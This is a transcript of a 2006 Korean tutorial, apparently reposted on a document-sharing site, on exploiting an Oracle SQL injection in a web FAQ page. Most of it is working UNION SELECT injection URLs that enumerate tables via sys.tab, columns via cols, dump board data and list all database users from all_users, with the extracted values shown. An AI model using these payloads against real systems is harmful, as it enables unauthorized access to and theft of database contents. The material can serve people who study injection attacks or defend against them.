[개인연구] practical use of oracle sql injection crakrozy v0.1

8
ORACLE SQL INJECTION (V0.1) ~ 7th July 2006, By Crakrozy 사이트를 보안 컨설팅 하던 Web 상에서 Oracle SQL Injection취약점이 발견되었다. Oracle SQL Injection대해 공부하고 있던 터라 너무 반가웠고, 즐겁게 내부 Database접근하여 DB내용들을 가져왔다. 기법과 과정들을 문서로 남기고 싶어, 이렇게 실무에서 용된 Oracle SQL Injection대해 정리한다. 아래의 페이지에서 SQL Injection 취약점이 발견되었다. FAQ 게시판이었고, 확인 하기 위해 특정 코드를 삽입해 보았다. [ 그림 2 ] http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=12A [ 그림 1 ] SQL Injection 취약점이 발견된 페이지 http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE =[ 그림 2 ] Single quotation 삽입 다음의 SQL 에러 발생

Upload: ann-lee

Post on 25-Jan-2015

2.097 views

Category:

Documents


0 download

DESCRIPTION

오라클 sql injection 공격 기법

TRANSCRIPT

Page 1: [개인연구] Practical use of oracle sql injection crakrozy v0.1

ORACLE SQL INJECTION (V0.1)

~ 7th July 2006, By Crakrozy

한 사이트를 보안 컨설팅 하던 중 Web 상에서 Oracle SQL Injection취약점이 발견되었다.

Oracle SQL Injection에 대해 공부하고 있던 터라 너무 반가웠고, 즐겁게 내부 Database에

접근하여 DB내용들을 가져왔다. 기법과 과정들을 문서로 남기고 싶어, 이렇게 실무에서 적

용된 Oracle SQL Injection에 대해 정리한다.

아래의 페이지에서 SQL Injection 취약점이 발견되었다. FAQ 게시판이었고, 확인 하기 위해

특정 코드를 삽입해 보았다. [ 그림 2 ]

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=12A

[ 그림 1 ] SQL Injection 취약점이 발견된 페이지

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=’

[ 그림 2 ] Single quotation 삽입 시 다음의 SQL 에러 발생

Page 2: [개인연구] Practical use of oracle sql injection crakrozy v0.1

위와 같이 SQL Injection 에러가 발생됨을 확인하고, DEFINITION_INFO_CODE 뒤에 여

러 타입의 SQL 코드를 삽입해 주었다. 에러 구문을 올바르게 노출 시켜 주는 것이 Oracle

임을 확인하고, Oracle SQL Injection 공격을 시도하였다.

Select tname from sys.tab 구문을 이용하여 table 명을 얻어내려 시도 하였다.

그러나 아래와 같이 column의 개수와 type을 맞추어 주어야 하는 문제점에 봉착, 여러 번

의 시도를 하였다. 다음 화면은 column의 개수는 일치하나, 해당 테이블의 data type이

불일치 하여, 에러를 노출 하는 화면이다.

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'

%20union%20all%20select%201,222,'3','444','555',tname%20from%20sys.tab--

[ 그림 3 ] column의 data type 불일치

위에서와 같이 에러 확인과 Oracle SQL Injection이 발생한다는 사실을 확인하였다. 이제 본

격적으로 DB내부에 접속하여 Data를 가져와 보자.

1. 테이블 명 가져오기

Column 개수와 Type을 맞추기 위해 여러 번의 시도 결과 개수는 6개 type의 종류를 알아

낼 수 있었다. 그런 다음 테이블 명을 가져오기를 시도하였다. 테이블 명을 가져오기 위해

다음에 나오는 명령으로 sys.tab 오브젝트로부터 테이블 명을 확인 하였다.

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'222','3','444',tname,555%20from%20sys.tab--

확인된 테이블 명을 가지고 하나씩 하나 씩 제거해 나가면서 다음에 오는 테이블 명을 도출

한다.

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'1',%20'3',table_name,column_name,555%20from%20cols%20w

here%20table_name%20not%20in('BOARD','COMMENTS','DEFINITIONINFO','FAQ','PI_FILE

','PI_USER','PUBLICNOTIFICATION','RECOMMENDEDBOARD','TRANSACTIONINFO','UPLO

ADFILEINFO','URLCHANGE','USAY','USAYCOMMENTS','USERADDINFO')--

Page 3: [개인연구] Practical use of oracle sql injection crakrozy v0.1

모든 테이블 명 획득 -

'BOARD','COMMENTS','DEFINITIONINFO','FAQ','PI_FILE','PI_USER','PUBLICNOTIFICATIO

N','RECOMMENDEDBOARD','TRANSACTIONINFO','UPLOADFILEINFO','URLCHANGE','USA

Y','USAYCOMMENTS','USERADDINFO'

[ 그림 4 ] 날짜 부분에 tname으로 테이블 명 가져옴

2. 테이블의 Column 값 가져오기

위에서 진행 했던 바와 같이 같은 방법으로 각 테이블에 있는 컬럼의 명칭을 가져온다.

select column_name from cols where table_name='테이블 이름'의 구문을 사용한다.

많은 테이블이 있으니 임의로 몇몇의 테이블의 Column을 가져오도록 시도해 보겠다.

이때 데이터 들을 추출해 낸 후, where column_name not in(‘value’) 구문을

이용해서 값을 제거해 주면서 다음 값을 추출한다.

[1] BOARD – 전체 Column 명

'BOARDNO','TRANSACTIONCODE','DEFINITIONINFOCODE','TITLE','CONTENTS','REGTIME

','CLICKCOUNT','DOWNLOADCOUNT','USERID','DELFLAG'

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'1',%20'3',table_name,column_name,555%20from%20cols%20w

here%20table_name='BOARD'--

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'1',%20'3','1',column_name,555%20from%20cols%20where%20t

Page 4: [개인연구] Practical use of oracle sql injection crakrozy v0.1

able_name%20='BOARD'%20and%20column_name%20not%20in('BOARDNO','TRANSACTI

ONCODE','DEFINITIONINFOCODE','TITLE','CONTENTS','REGTIME','CLICKCOUNT','DOWN

LOADCOUNT','USERID','DELFLAG')--

[2] COMMENTS - 뽑아낸 Column 명

'COMMENTSNO','BOARDNO','CONTENTS','REGTIME','USERID','DELFLAG'

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'1',%20'3','1',column_name,555%20from%20cols%20where%20t

able_name%20='COMMENTS'%20and%20column_name%20not%20in('COMMENTSNO','B

OARDNO','CONTENTS','REGTIME','USERID','DELFLAG')--

[3] DEFINITIONINFO - 전체 Column 명 'DEFINITIONINFOCODE','DEFINITI'

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'1',%20'3',table_name,column_name,555%20from%20cols%20w

here%20table_name%20='DEFINITIONINFO'%20and%20column_name%20not%20in('DEFI

NITIONINFOCODE','DEFINITI')--

[4] PI_USER - 전체 Column 명

'FULLID','ID','DOMAIN','USERNO','DEFAULTIMAGE','ISPUBLIC'

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'1',%20'3',table_name,column_name,555%20from%20cols%20w

here%20table_name%20='PI_USER'%20and%20column_name%20not%20in('FULLID','ID','

DOMAIN','USERNO','DEFAULTIMAGE','ISPUBLIC')--

[5] PI_FILE - 전체 Column 명 'FULLID','FILENAME','FILEDESC'

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'1',%20'3',table_name,column_name,555%20from%20cols%20w

here%20table_name%20='PI_FILE'%20and%20column_name%20not%20in('FULLID','FILEN

AME')--

[6] USERADDINFO - 전체 Column 명 'USERID','NICKNAME'

Page 5: [개인연구] Practical use of oracle sql injection crakrozy v0.1

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'

%20union%20all%20select%201,'1',%20'3',table_name,column_name,555%20fro

m%20cols%20where%20table_name%20='USERADDINFO'%20and%20column_na

me%20not%20in('USERID','NICKNAME')--

[ 그림 5 ] Column 명 가져오는 화면

3. 각 데이터 값 가져오기

이제 각 column 값에 대한 데이터를 뽑아 내 보자.

BOARD

├--- BOARDNO - '34','35','36','37','38','39','40','41','42','43'...

├--- TITLE - 'cccc','ddd','dd','33','ff','이모티콘'....

├--- DEFINITIONINFOCODE - …………

├--- TRANSACTIONCODE - ……

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'

%20union%20all%20select%201,'a3sc',TITLE,DEFINITIONINFOCODE,TRANSACTIO

NCODE,boardno%20from%20board--

Page 6: [개인연구] Practical use of oracle sql injection crakrozy v0.1

[그림 6] 각 column에 따른 값 추출

이때 위와 같이 데이터 들을 추출해 낸 후, where column명 not in(‘value’) 구문을

이용해서 값을 제거해 주면서 다음 값을 추출한다.

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'

%20union%20all%20select%201,'a3sc',TITLE,DEFINITIONINFOCODE,TRANSACTIO

NCODE,BOARDNO%20from%20board%20where%20boardno%20not%20in('34','35

')--

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20all%20select%201,'a3sc',TITLE,DEFINITIONINFOCODE,TRANSACTIONCODE,BOAR

DNO%20from%20board%20where%20boardno%20not%20in('34','35')--

Page 7: [개인연구] Practical use of oracle sql injection crakrozy v0.1

[ 그림 7 ] Data 값 추출

이런 방식으로 다른 테이블에 해당하는 값들도 추출이 모두 가능하다.

2. 시스템 내부 USER 명 가져오기

위에서 말한 방식으로 동일하게 select username from all_users 구문을 이용하여

적용시키면 다음과 같이 모든 시스템 내부 User명을 가져 올 수 있다.

아래는 시도한 SQL Injection 코드 이다.

http://127.0.0.1/FAQ?ACTION=VIEW&FAQ_NO=92&DEFINITION_INFO_CODE=test'%20uni

on%20select%201,'1','3',username,username,555%20from%20all_users%20where%20user

name%20not%20in('ANONYMOUS','CHANNELCHAT','CTXSYS','DBSNMP','HR','IMMMS','IM

WEB','MDSYS','ODM','ODM_MTR','OE','OLAPSYS','ORDPLUGINS','ORDSYS','OUTLN','PM'

,'QS','QS_ADM','QS_CB','QS_CBADM','QS_CS','QS_ES','QS_OS','QS_WS','ROOKIE','SH','

SYS','SYSTEM','TOPIM','WKPROXY','WKSYS','WMSYS','XDB')--

'ANONYMOUS','CHANNELCHAT','CTXSYS','DBSNMP','HR','IMMMS','IMWEB','MDSYS','OD

M','ODM_MTR','OE','OLAPSYS','ORDPLUGINS','ORDSYS','OUTLN','PM','QS','QS_ADM','Q

S_CB','QS_CBADM','QS_CS','QS_ES','QS_OS','QS_WS','ROOKIE','SH','SYS','SYSTEM','TO

PIM','WKPROXY','WKSYS','WMSYS','XDB'

Page 8: [개인연구] Practical use of oracle sql injection crakrozy v0.1

[ 그림 8 ] 마지막 USER값 추출 화면

이상으로 Oracle SQL Injection 을 이용하여 Database Table명 추출, Column명 추출, 각

values 추출 그리고 내부 시스템 사용자 리스트를 추출하는 방법에 대해 살펴 보았다.

계속해서 추가적인 공격들과 기법들에 대해 살펴볼 예정이다.